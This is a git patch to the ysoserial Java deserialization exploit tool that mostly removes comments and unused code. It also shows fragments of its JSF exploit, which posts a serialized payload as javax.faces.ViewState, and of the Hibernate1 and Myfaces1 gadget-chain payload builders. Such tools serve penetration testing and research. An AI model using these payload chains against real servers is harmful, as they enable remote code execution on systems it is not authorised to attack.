From 5fc361df4f73be56a759c4aec554a6d72b480a98 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 12:47:44 +0100 Subject: [PATCH] A final touch --- src/main/java/ysoserial/exploit/JSF.java | 4 ++-- .../java/ysoserial/payloads/Hibernate1.java | 2 +- .../java/ysoserial/payloads/Myfaces1.java | 19 +------------------ .../secmgr/ThreadLocalSecurityManager.java | 2 -- 4 files changed, 4 insertions(+), 23 deletions(-) diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index 7706d58..6a13b66 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -37,7 +37,7 @@ public class JSF { URLConnection c = u.openConnection(); if ( ! ( c instanceof HttpURLConnection ) ) { - throw new IllegalArgumentException("Not a HTTP url"); //$NON-NLS-1$ + throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; @@ -51,7 +51,7 @@ public class JSF { oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); - String requestBody = "j_id_7_SUBMIT=1&javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index 1159268..168dcbb 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -100,7 +100,7 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) */ public Object getObject ( String command ) throws Exception { - Object tpl = Gadgets.createTemplatesImpl(command); // $NON-NLS-1$ + Object tpl = Gadgets.createTemplatesImpl(command); Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); return makeCaller(tpl, getters); } diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java index cc73fde..de1872c 100644 --- a/src/main/java/ysoserial/payloads/Myfaces1.java +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -1,7 +1,6 @@ package ysoserial.payloads; -import java.lang.reflect.InvocationTargetException; import javax.el.ELContext; import javax.el.ExpressionFactory; @@ -40,9 +39,6 @@ import ysoserial.payloads.util.Reflections; * * @author mbechler */ -@SuppressWarnings ( { - "nls", "javadoc" -} ) @PayloadTest(skip="Requires running MyFaces, no direct execution") public class Myfaces1 implements ObjectPayload, DynamicDependencies { @@ -81,19 +77,6 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); } - - /** - * @param expr - * @return - * @throws IllegalArgumentException - * @throws NoSuchFieldException - * @throws IllegalAccessException - * @throws Exception - * @throws ClassNotFoundException - * @throws NoSuchMethodException - * @throws InstantiationException - * @throws InvocationTargetException - */ public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); @@ -102,7 +85,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); - ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$ + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); return Gadgets.makeMap(e2, e); diff --git a/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java index b52d3ec..230ccab 100755 --- a/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java +++ b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -3,8 +3,6 @@ package ysoserial.secmgr; import java.util.concurrent.Callable; public class ThreadLocalSecurityManager extends DelegateSecurityManager { - private static final ThreadLocalSecurityManager INSTANCE - = new ThreadLocalSecurityManager(); private final ThreadLocal threadDelegates = new ThreadLocal();